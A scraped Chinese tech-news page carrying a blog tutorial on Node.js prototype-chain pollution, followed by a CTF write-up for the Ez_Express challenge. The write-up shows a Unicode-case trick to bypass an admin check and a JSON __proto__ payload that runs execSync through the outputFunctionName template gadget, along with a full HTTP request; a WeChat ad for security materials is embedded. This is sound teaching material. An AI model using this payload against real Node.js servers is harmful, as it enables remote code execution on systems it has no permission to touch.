最新要闻
- 情人节必备:德芙香浓黑巧12元/碗大促
- 逃离银河系!科学家在仙女星系中发现银河移民
- 世界快播:山东女子中淘宝彩票锦鲤:直播1小时刮594张彩票 中7170元
- 天天滚动:骁龙8+满血版、残血版差价非常大 一加揭秘:能差1个亿
- 防止技术垄断:昆仑万维宣布将在年内开源类ChatGPT代码
- 微头条丨女子带汉堡进星巴克被拦 称味道大会影响其他顾客 网友抵制
- 微信数据再多都够用 真我GT Neo5 1TB干到3499元:旗舰射门员
- 新资讯:14岁女孩连续玩手机81小时险猝死 专家提醒:家长一定要控制
- 【环球时快讯】1TB手机不到3500元!网友评价真我GT Neo5:这让友商很难做
- 世界新消息丨又多了一种摸鱼手段 小红书网页版上线:左图右文 沉浸大屏
- 信息:首个教育圈ChatGPT来了!网易有道将推生成式AI:可批改作文
- 每日快播:创下历史第二!《霍格沃茨之遗》steam在线人数达48万
- 快看点丨哭笑不得!西班牙火车尺寸太大无法过隧道:白花2亿多欧元
- 成都现飞鸟撞树现象 网友疑灾害前兆!专家回应:想多了
- 环球今日报丨用ChatGPT做表格真香!只需动嘴提要求和复制粘贴
- 天天播报:部分玩家批评《塞尔达传说:王国之泪》新宣传片:太中庸没新意
手机
iphone11大小尺寸是多少?苹果iPhone11和iPhone13的区别是什么?
警方通报辅警执法直播中被撞飞:犯罪嫌疑人已投案
- iphone11大小尺寸是多少?苹果iPhone11和iPhone13的区别是什么?
- 警方通报辅警执法直播中被撞飞:犯罪嫌疑人已投案
- 男子被关545天申国赔:获赔18万多 驳回精神抚慰金
- 3天内26名本土感染者,辽宁确诊人数已超安徽
- 广西柳州一男子因纠纷杀害三人后自首
- 洱海坠机4名机组人员被批准为烈士 数千干部群众悼念
家电
当前速讯:Nodejs原型链污染
Nodejs与JavaScript和JSON
有一些人在学习JavaScript时会分不清Nodejs和JavaScript之间的区别,如果没有node,那么我们的JavaScript代码则由浏览器中的JavaScript解析器进行解析。几乎所有的浏览器都配备了JavaScript的解析功能(最出名的就是google的v8), 这也是为什么我们能在f12中直接执行JavaScript的原因。 而Nodejs则是由这个解析器单独从浏览器中拿出来,并进行了一系列的处理,最后成为了一个可以在服务端运行JavaScript的环境。 这里看到一个很好的例子,学过java的师傅应该就明白了。
那么JSON又是什么呢?简单概括一下就是JavaScript的对象表示方法,它表示的是声明对象的一种格式, 由于我们从前端接收到的数据基本都是字符串,因此在服务端如果要将这些字符串处理为其他格式,比如对象,就需要用到JSON了。
(资料图片仅供参考)
原型对象(prototype
)与原型连接点(__proto__
)与原型链
在c++或java这些面向对象的语言中,我们如果想要一个对象,首先需要使用关键字class声明一个类,再使用关键字new一个对象出来,但是在JavaScript中没有class以及类这种概念(为了简化编写JavaScript代码,ECMAScript 6后增加了class
语法,但class
其实只是一个语法糖)。 在JavaScript有这么两种声明对象的方式,为了好理解我们先引入类的思想。
person=new Object()person.firstname="John";person.lastname="Doe";person.age=50;person.eyecolor="blue";这种创建对象的方法还有另一种写法 如下person={firstname:"John",lastname:"Doe",age:50,eyecolor:"blue"};这种方法通过直接实例化构造方法Object()来创建对象
function person(firstname,lastname,age,eyecolor) 这里创建了一个“类” 但是在JavaScript中叫做构造函数或者构造器{ this.firstname=firstname; this.lastname=lastname; this.age=age; this.eyecolor=eyecolor;}var myFather=new person("John","Doe",50,"blue"); 通过这个“类”实例化对象var myMother=new person("Sally","Rally",48,"green");这种方法先创建构造函数 再实例化构造函数 构造函数function也属于Object 如果对这里为什么属于Object而不属于Function有疑问请继续阅读 下面会解释
既然是通过实例化Object来创建对象或创建构造函数,在JavaScript中有两个很特殊的对象,Function() 和 Object() ,它们两个既是构造函数也是对象,作为对象是不是应该有一个“类”去作为他们的模板呢?
【----帮助网安学习,以下所有学习资料免费领!加vx:yj009991,备注 “博客园” 获取!】
① 网安学习成长路径思维导图 ② 60+网安经典常用工具包 ③ 100+SRC漏洞分析报告 ④ 150+网安攻防实战技术电子书 ⑤ 最权威CISSP 认证考试指南+题库 ⑥ 超1800页CTF实战技巧手册 ⑦ 最新网安大厂面试题合集(含答案) ⑧ APP客户端安全检测指南(安卓+IOS)
对于Object()来说,要声明这么一个构造函数我们可以使用关键字function来创建 。(在底层 使用function创建一个函数 其实就相当于这个过程)
function Object(){}在底层为var Object = new Function();
那么对于Function自己这个对象,他是怎么来的呢?如果用Function.__proto__
和Function.prototype进行比较,发现二者是全等的,所以Function创造了自己,也创造了Object,所以JavaScript中,所有函数都是对象,而对象是通过函数创建的。因此构造函数.prototype.__proto__
应该是Object.prototype,而不是Function.prototype,Function的作用是创建而不是继承。
那么提到了__proto__
和prototype
我们就来说说这两个是什么东西。
首先我们要了解以下概念:
__proto__
是任何一个对象拥有的属性
prototype
是任何一个函数拥有的一个属性
比如
person={firstname:"John",lastname:"Doe",age:50,eyecolor:"blue"};
那么这个person对象就拥有了person.__proto__
这个属性,而Object()我们刚才提到了是由Function创建来的一个构造函数,那么Object就天生有了Object.prototype。
1.某一对象的__proto__
指向它的prototype(原型对象), 也就是说如果直接访问person.__proto__
那么就相当于访问了Object.prototype。
2.JavaScript使用prototype链实现继承机制。
3.构造函数xxx.prototype是一个对象,xxx.prototype也有自己的__proto__
属性,并且可以继续指向它的的prototype。
4.Object.prototype.proto最终指向null,这也是所有原型链的终点。
5.从一个对象的__proto__
不断向上指向原型对象,最终指向Objecct.prototype后,接着指向为Null,这一条链子就叫做原型链。
如果我们有如下代码:
function Father() { this.first_name = "Donald" this.last_name = "Trump"}function Son() { this.first_name = "Melania"}Son.prototype = new Father()let son = new Son()console.log(`Name: ${son.first_name} ${son.last_name}`)
那么按照上述说法 就有如下结构
对于对象son,在调用son.last_name
的时候,实际上JavaScript引擎会进行如下操作:
在对象son中寻找last_name。
如果找不到,则在
son.__proto__
中寻找last_name。如果仍然找不到,则继续在
son.__proto__.__proto__
中寻找last_name。依次寻找,直到找到
null
结束。
原型链污染
举个栗子
// 这个对象直接实例化Object()let foo = {bar: 1}// foo.bar 此时为1console.log(foo.bar)// 修改foo的原型(即Object)foo.__proto__.bar = 2// 由于查找顺序的原因,foo.bar仍然是1console.log(foo.bar)// 此时再用Object创建一个空的zoo对象let zoo = {}// 查看zoo.barconsole.log(zoo.bar)
这里由于修改了foo.__proto__.bar
也就是修改了Object.bar,因此在后续的实例化对象中,新的对象会继承这一属性 造成了原型链污染。
在实际应用中,哪些情况下可能存在原型链能被攻击者修改的情况呢?
我们思考一下,哪些情况下我们可以设置__proto__
的值呢?其实找找能够控制数组(对象)的“键名”的操作即可。
看下面代码,一个简单的对象clone:
function merge(target, source) { for (let key in source) { if (key in source && key in target) { // 如果target与source有相同的键名 则让target的键值为source的键值 merge(target[key], source[key]) } else { target[key] = source[key] // 如果target与source没有相通的键名 则直接在target新建键名并赋给键值 } }}let o1 = {}let o2 = {a: 1, "__proto__": {b: 2}}merge(o1, o2)console.log(o1.a, o1.b)o3 = {}console.log(o3.b)
这里执行后发现,虽然两个对象成功clone,但是Object()并没用被污染,这是因为在创建o2时,__proto__
是已经存在于o2中的属性了,解析器并不能将这个属性解析为键值,所以要用JSON去修改代码(前面我们说了 JSON是JavaScript的对象表示方法 可以将字符串转换为对象), 这样就可以使__proto__
被成功解析成键名了。
let o1 = {}let o2 = JSON.parse("{"a": 1, "__proto__": {"b": 2}}")merge(o1, o2)console.log(o1.a, o1.b)o3 = {}console.log(o3.b)
漏洞复现
[GYCTF2020]Ez_Express
进入环境之后是一个登录页面,测试之后发现存在www.zip源码泄露,开始审计index.js
var express = require("express");var router = express.Router();const isObject = obj => obj && obj.constructor && obj.constructor === Object;const merge = (a, b) => { for (var attr in b) { if (isObject(a[attr]) && isObject(b[attr])) { merge(a[attr], b[attr]); } else { a[attr] = b[attr]; } } return a}const clone = (a) => { return merge({}, a);}function safeKeyword(keyword) { if(keyword.match(/(admin)/is)) { return keyword } return undefined}router.get("/", function (req, res) { if(!req.session.user){ res.redirect("/login"); } res.outputFunctionName=undefined; res.render("index",data={"user":req.session.user.user});});router.get("/login", function (req, res) { res.render("login");});router.post("/login", function (req, res) { if(req.body.Submit=="register"){ if(safeKeyword(req.body.userid)){ res.end("<script>alert("forbid word");history.go(-1);</script>") } req.session.user={ "user":req.body.userid.toUpperCase(), "passwd": req.body.pwd, "isLogin":false } res.redirect("/"); } else if(req.body.Submit=="login"){ if(!req.session.user){res.end("<script>alert("register first");history.go(-1);</script>")} if(req.session.user.user==req.body.userid&&req.body.pwd==req.session.user.passwd){ req.session.user.isLogin=true; } else{ res.end("<script>alert("error passwd");history.go(-1);</script>") } } res.redirect("/"); ;});router.post("/action", function (req, res) { if(req.session.user.user!="ADMIN"){res.end("<script>alert("ADMIN is asked");history.go(-1);</script>")} req.session.user.data = clone(req.body); res.end("<script>alert("success");history.go(-1);</script>"); });router.get("/info", function (req, res) { res.render("index",data={"user":res.outputFunctionName});})module.exports = router;
看下面两段代码
function safeKeyword(keyword) { if(keyword.match(/(admin)/is)) { return keyword } return undefined}
router.post("/login", function (req, res) { if(req.body.Submit=="register"){ if(safeKeyword(req.body.userid)){ res.end("<script>alert("forbid word");history.go(-1);</script>") } req.session.user={ "user":req.body.userid.toUpperCase(), "passwd": req.body.pwd, "isLogin":false } res.redirect("/"); } else if(req.body.Submit=="login"){ if(!req.session.user){res.end("<script>alert("register first");history.go(-1);</script>")} if(req.session.user.user==req.body.userid&&req.body.pwd==req.session.user.passwd){ req.session.user.isLogin=true; } else{ res.end("<script>alert("error passwd");history.go(-1);</script>") } } res.redirect("/"); ;});
只有用admin登录才会return,keyword 否则返回undefined,返回undefined就会弹窗forbid word,如果username经过toUpperCase后不能与原来的匹配,或password错误,就会弹窗error passwd,这也是为什么题中说用户名只支持大写。
再看这段,就很恶心,如果username为ADMIN就不能登录,又不让用admin,又得用admin登录,这里就用到了JavaScript大小写的漏洞。
if(req.session.user.user!="ADMIN"){res.end("<script>alert("ADMIN is asked");history.go(-1);</script>")}
所以用ADMıN
来绕过,注意不是ADMiN,中间那个i是一个奇怪的字符,把username输入ADMıN直接注册就可以了(题目环境怪怪的 有的时候ADMıN 不行就试试admın),登录进去还给了flag的位置。
这里试了试没啥用,继续看源码,上面提到了 merge clone操作可以控制键值和键名,从而达到污染。
const merge = (a, b) => { for (var attr in b) { if (isObject(a[attr]) && isObject(b[attr])) { merge(a[attr], b[attr]); } else { a[attr] = b[attr]; } } return a}const merge = (a, b) => { for (var attr in b) { if (isObject(a[attr]) && isObject(b[attr])) { merge(a[attr], b[attr]); } else { a[attr] = b[attr]; } }
往下看找到调用clone的位置
router.post("/action", function (req, res) { if(req.session.user.user!="ADMIN"){res.end("<script>alert("ADMIN is asked");history.go(-1);</script>")} req.session.user.data = clone(req.body); res.end("<script>alert("success");history.go(-1);</script>"); });
也就是说我们可以在action路由下通过请求体来进行污染,原型链污染的位置找到了,接下来就是要找到可以用来控制键名和键值的对象。
看到这段:
router.get("/info", function (req, res) { res.render("index",data={"user":res.outputFunctionName});})
render函数应该不陌生,在模板注入攻击(SSTI)中很常见, 这里将回显req的outputFunctionNmae渲染到了index中,那么我们是不是可以利用outputFunctionName进行SSTI从而达到rce呢?代码跟下来我们发现并没有outputFunctionName这个东西,也就是说它是我们可以用来污染原型链的载体,如果把Object的prototype中加上键名为outputFunctionName,键值为恶意payload的属性,那么在进行模板渲染时,是不是就会执行我们的恶意payload?
但是我们考虑一个问题,如何去修改Object的prototype ?(确实是可以的 但是有点麻烦 下面参考文章的最后一篇就是直接修改Object的prototypr)我们重新回到这段代码:
router.post("/action", function (req, res) { if(req.session.user.user!="ADMIN"){res.end("<script>alert("ADMIN is asked");history.go(-1);</script>")} req.session.user.data = clone(req.body); res.end("<script>alert("success");history.go(-1);</script>"); });
发现请求体被clone到了req.session.user.data中,对于req.session.user这个对象来说,它的__proto__
属性是不是就是Object的prototype,所以我们可以修改了这个对象的__proto__
从而达到目的。
req.session.user={ "user":req.body.userid.toUpperCase(), "passwd": req.body.pwd, "isLogin":false }
SSTI的payload我也不是很懂,反正原理都是不断调用原型对象,最后找到一个可以用来rce的函数,payload和CVE-2019-10744
是一样的,直接搬来用了。
{"__proto__":{"outputFunctionName":"a=1;return global.process.mainModule.constructor._load("child_process").execSync("cat /flag");//"}}
污染成功后在info路由下调用res.outputFunctionName时,就像上面调用son.last_name
的过程一样,最终调用到了Object的outputFunctionName ,并且要让__proto__
为键名,要用JSON格式,所以要用burp拦包添加content type(在进行POST传参时必须有该头) 放个包做个参考,记得路由和传参方式也要改 再传payload。
POST /action HTTP/1.1Host: 8f9161b2-5acd-465d-8854-969004e758fb.node4.buuoj.cn:81Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Referer: http://8f9161b2-5acd-465d-8854-969004e758fb.node4.buuoj.cn:81/loginAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: session=s%3A1jilnCKBesMA5qC1gPlt6SPb18ntn7h7.4wyQ3TbDJtVXUhdOdErxMFKs6EcCnNrCkeUjRFYK3MYContent-Type: application/jsonConnection: closeContent-Length: 137{"__proto__":{"outputFunctionName":"a=1;return global.process.mainModule.constructor._load("child_process").execSync("cat /flag");//"}}
在action路由下污染成功后,应该接着访问info路由进行SSTI,但是不知道为啥,我包发过去直接给flag了。
更多靶场实验练习、网安学习资料,请点击这里>>
-
世界要闻:[threeJS]--- 外部导入的模型如何编程式实现帧动画以及调用模型自带的动画
1 代码中编写帧动画并且调用asyncfunctionkeyframeAni(object){consttimes=[0,2]; 关键帧时间数组,单位& 39;秒& 39;c
来源: 当前速讯:Nodejs原型链污染
世界要闻:[threeJS]--- 外部导入的模型如何编程式实现帧动画以及调用模型自带的动画
情人节必备:德芙香浓黑巧12元/碗大促
逃离银河系!科学家在仙女星系中发现银河移民
世界快播:山东女子中淘宝彩票锦鲤:直播1小时刮594张彩票 中7170元
天天滚动:骁龙8+满血版、残血版差价非常大 一加揭秘:能差1个亿
防止技术垄断:昆仑万维宣布将在年内开源类ChatGPT代码
【全球播资讯】陕西旅游集团旗下景区春节期间累计接待超 200 万人次,这背后也有火山引擎 VeDI 的身影
当前热门:分享5个我不能没有的Vue.js库,不信你用不上
KingbaseES libstdc++.so.6 version 'CXXABI_1.3.8'问题处理
敏捷数据科学教程_编程入门自学教程_菜鸟教程-免费教程分享
MPI库并行Fortran程序:进程通讯
微头条丨女子带汉堡进星巴克被拦 称味道大会影响其他顾客 网友抵制
微信数据再多都够用 真我GT Neo5 1TB干到3499元:旗舰射门员
新资讯:14岁女孩连续玩手机81小时险猝死 专家提醒:家长一定要控制
【环球时快讯】1TB手机不到3500元!网友评价真我GT Neo5:这让友商很难做
世界新消息丨又多了一种摸鱼手段 小红书网页版上线:左图右文 沉浸大屏
快看:Android教程_编程入门自学教程_菜鸟教程-免费教程分享
天天日报丨vue2和vue3的区别有哪些?
docker学习
【全球热闻】剑指Offer 05. 替换空格(java解题)
信息:首个教育圈ChatGPT来了!网易有道将推生成式AI:可批改作文
每日快播:创下历史第二!《霍格沃茨之遗》steam在线人数达48万
快看点丨哭笑不得!西班牙火车尺寸太大无法过隧道:白花2亿多欧元
成都现飞鸟撞树现象 网友疑灾害前兆!专家回应:想多了
环球今日报丨用ChatGPT做表格真香!只需动嘴提要求和复制粘贴
Java基础三元运算符
世界快消息!Crystal Reports 教程_编程入门自学教程_菜鸟教程-免费教程分享
新资讯:再有人问你分布式事务,把这篇文章砸过去给他
有了 ETL 数据神器 dbt,表数据秒变 NebulaGraph 中的图数据
天天播报:部分玩家批评《塞尔达传说:王国之泪》新宣传片:太中庸没新意
环球热讯:比亚迪百万新车或搭载:余承东李想力挺增程式到底落不落后?专家一句真相
C# 学习async/await(个人理解)
30 个 IDEA 常用小技巧,应有尽有,让你的撸码效率直接起飞...
【天天聚看点】世界有史以来最大百科全书!《永乐大典》首次线上公开 免费看
华擎推出4X4 BOX-7000系列迷你主机:锐龙7000U、支持双USB4
小米Civi 2宣布全版本支持MIUI 14!系统丝滑流畅、更省电
女子手机放枕边突然冒烟自燃:曾因进水维修
饭店反向抹零多收1毛被罚4500元 网友点赞:四舍五入抹零有误都可举报
天天日报丨必知必会的设计原则——里氏替换原则
焦点速递!联想发布“问天”服务器品牌 向3S领域发起总攻 5年内冲击第一
焦点!谷歌版ChatGPT灾难级发布 市值一夜狂跌7000亿 熬夜网友:退钱!
快播:刘强东要建员工福利房?京东31亿北京拿地 1.6万元/平
当前快报:手工扯面+秘制辣油 西安饭庄油泼biangbiang面6.6元/盒大促
全球看点:任天堂港服“任亏券”开卖:《塞尔达传说:王国之泪》预售你买没
孔雀石的主要成分是什么?孔雀石的作用与好处有哪些?
空气能热水器的优缺点是什么?空气能热水器十大名牌排名
高一选科怎么选最好?高一期中考试总结范文
暑假带孩子去哪里旅游最好?我的快乐暑假作文模板
旅游高峰期相反的叫什么?旅游高峰期是哪几个月?
植物大战僵尸2闪退是怎么回事?植物大战僵尸2闪退解决办法
精彩看点:【学习笔记】Http请求方法总结
当前通讯!FCoE简单介绍
头条焦点:git在工作中如何使用?
热议:近期做的有意思的两道题,不知道是谁抄谁hhhhh
Java利用ChromeDriver插件网页截图(Wondows版+Linux版)
煲音箱与不煲的差别大吗?煲音箱音量开多大合适?
验证码总是错误是怎么回事?验证码总是错误怎么解决?
电脑屏幕尺子怎么打开?电脑屏幕尺子怎么使用?
技嘉主板怎么设置U盘启动?技嘉主板超频怎么设置?
热门看点:价格率先步入“次世代”:《塞尔达传说:王国之泪》涨至70美元
环球最资讯丨《王者荣耀》项羽、虞姬情人节皮肤来了:280元值吗?
当前关注:荣耀Magic5系列充电规格曝光:全系仅66W快充
环球热文:威马汽车CDO:特斯拉单车净利润是大众十倍 随时都能大降价
热资讯!次日达 冷酸灵泵式牙膏11.9元 清新口气、抗敏感
区块链安全前传之从Web3.0到创造自己的数字货币
天天快资讯:“采访”ChatGPT看看它对我们GreatSQL社区有什么看法
关于小程序变现方式你还知道哪些?
焦点热文:开发过程中安装的依赖包
每日热议!Spring源码第一章:创建简单的 Bean 容器
买房不如买车、50万交利息税等:年轻人为什么越来越反感专家?
【新要闻】集成ChatGPT威力惊人:微软Bing下载量激增10倍
环球热门:QLC便宜即是王道 1728个SSD组成106PB超大硬盘阵列
环球速看:又有巨头扛不住了!迪士尼宣布裁员7000人:省了55亿成本
日本耗资万亿的国产大飞机失败内幕:重大安全缺陷 美国拒绝发证
当前动态:《三国演义》“关羽”陆树铭去世百天 妻子晒全家福:网友感叹
要涨价!《塞尔达传说:王国之泪》新实机出炉:能造汽车、飞机了
每日消息!趋势难挡!美国、法国等公司推行每周4天工作制:不减薪 提升幸福度
天天即时看!比ChatGPT差很多 谷歌Bard AI丢人了:回答错误致股价大跌
读Java实战(第二版)笔记05_Collection API的增强功能
谷歌首公布Android 14:续航、流畅度激增、对折叠屏更好支持!
全球快播:Linux-ansible
天天视点!Python教程:selenium模块用法教程
世界报道:带你体验下来自人工智能ChatGPT的魅力
【全球热闻】小白也能做应用(一)之fusion app介绍
高层次综合器(Vivado HLS)的设计流程[原创www.cnblogs.com/helesheng]
变天了!x86 PC陨落:ARM大暴走
高通憋出新大招:4G杀手来了
国美电器多个破产申请被驳回 苏泊尔在列
当前关注:脸都不要了!《黑棉花:悟能》无耻碰瓷《黑神话:悟空》
Intel中国特供新U i7-13790F开卖:缓存多3MB 竟贵了150元!
当前快报:【Windows】Microsoft Store无法打开:关闭自动更新(请联系系统管理员更改此设置)
最资讯丨吴京与粉丝合照被滤镜坑惨:没有明星能逃过美颜摧残
环球时讯:明天上映!《流浪地球2》发布港版预告片:MOSS竟然说英文
资讯:log4cxx配置日期回滚策略中增加MaxFileSize属性
天天看点:MySQL索引的基本理解
当前关注:强大的Excel工具,简便Vlookup函数操作:通用Excel数据匹配助手V2.0
通过python,将excel中的数据写入二维列表
天天日报丨爬虫基础
科大讯飞:类ChatGPT技术今年5月落地 AI学习机产品先用